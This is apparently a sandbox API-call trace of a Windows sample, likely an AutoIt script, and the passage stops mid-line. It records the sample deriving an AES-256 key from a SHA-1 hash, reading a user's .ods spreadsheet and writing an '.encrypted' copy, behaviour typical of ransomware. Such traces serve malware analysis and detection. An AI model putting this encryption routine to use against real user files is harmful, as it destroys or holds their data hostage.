0 [0025.470] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0025.471] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0025.471] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0025.471] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0025.471] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0025.471] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0025.471] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0025.471] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.471] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.471] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0025.471] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.471] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0025.471] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0025.471] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.471] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.471] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.471] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0025.471] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0025.471] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0025.471] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.471] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.471] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0025.471] PeekMessageW (in: lpMsg=0xe8f3dfe280, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe280) returned 0 [0025.471] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0025.471] CryptAcquireContextA (in: phProv=0xe8f3dfe270, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0xe8f3dfe270*=0xe8f4199a20) returned 1 [0025.472] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.472] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.472] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0025.472] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0025.472] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0025.472] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.472] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.472] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.472] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0025.472] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0025.472] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0025.472] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.472] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.472] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.472] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.472] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0025.472] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.472] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.472] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0025.472] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0025.472] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0025.472] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0025.472] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0025.472] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0025.472] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0025.472] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0025.472] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0025.472] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0025.473] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.473] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.473] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0025.473] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0025.473] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0025.473] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0025.473] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0025.473] CryptCreateHash (in: hProv=0xe8f4199a20, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xe8f3dfdf40 | out: phHash=0xe8f3dfdf40) returned 1 [0025.473] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.473] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.473] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.473] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.473] CharLowerBuffW (in: lpsz="byte[32]", cchLength=0x8 | out: lpsz="byte[32]") returned 0x8 [0025.473] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.473] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.473] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0025.473] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0025.473] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0025.473] CryptHashData (hHash=0xe8f4062aa0, pbData=0xe8f418b090, dwDataLen=0x20, dwFlags=0x1) returned 1 [0025.473] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.473] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.473] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.473] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0025.473] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0025.473] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0025.473] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0025.473] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0025.474] CryptDeriveKey (in: hProv=0xe8f4199a20, Algid=0x660e, hBaseData=0xe8f4062aa0, dwFlags=0x1, phKey=0xe8f3dfdf40 | out: phKey=0xe8f3dfdf40*=0xe8f4062330) returned 1 [0025.474] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.474] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.474] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.474] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.474] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.474] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0025.474] PeekMessageW (in: lpMsg=0xe8f3dfdfa0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdfa0) returned 0 [0025.474] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0025.474] CryptDestroyHash (hHash=0xe8f4062aa0) returned 1 [0025.475] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.476] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.476] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.476] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.476] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.476] CreateFileW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Documents\\NeaFrBuex2U7\\Zg4RGB0kXt-5dpkfB.ods" (normalized: "c:\\users\\5jghkoaofdp\\documents\\neafrbuex2u7\\zg4rgb0kxt-5dpkfb.ods"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1fc [0025.476] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0025.476] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe930, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe930*=0) returned 1 [0025.476] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.476] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.476] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.476] GetFileAttributesW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Documents\\NeaFrBuex2U7\\" (normalized: "c:\\users\\5jghkoaofdp\\documents\\neafrbuex2u7")) returned 0x10 [0025.477] CreateFileW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Documents\\NeaFrBuex2U7\\Zg4RGB0kXt-5dpkfB.encrypted.ods" (normalized: "c:\\users\\5jghkoaofdp\\documents\\neafrbuex2u7\\zg4rgb0kxt-5dpkfb.encrypted.ods"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0025.477] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.477] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.477] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.477] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.478] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe9e0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe9e0*=0) returned 1 [0025.478] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f6000080, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f6000080*, lpNumberOfBytesRead=0xe8f3dfea20*=0x65c9, lpOverlapped=0x0) returned 1 [0025.481] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f6000080, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f6000080*, lpNumberOfBytesRead=0xe8f3dfea20*=0x0, lpOverlapped=0x0) returned 1 [0025.483] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.483] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.483] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.483] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0025.484] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.484] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.484] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0025.484] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0025.484] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0025.484] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0025.484] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0025.484] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0025.484] PeekMessageW (in: lpMsg=0xe8f3dfd7f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfd7f0) returned 0 [0025.485] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0025.485] CryptGetKeyParam (in: hKey=0xe8f4062330, dwParam=0x7, pbData=0xe8f4064a00, pdwDataLen=0xe8f3dfd858, dwFlags=0x0 | out: pbData=0xe8f4064a00*=0x660e, pdwDataLen=0xe8f3dfd858*=0x4) returned 1 [0025.485] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0025.485] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0025.485] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.485] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.485] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.485] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.486] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.486] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.486] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0025.486] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0025.486] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0025.486] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0025.486] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0025.486] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0025.486] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0025.486] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0025.486] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0025.486] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0025.486] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.486] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.486] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.486] PeekMessageW (in: 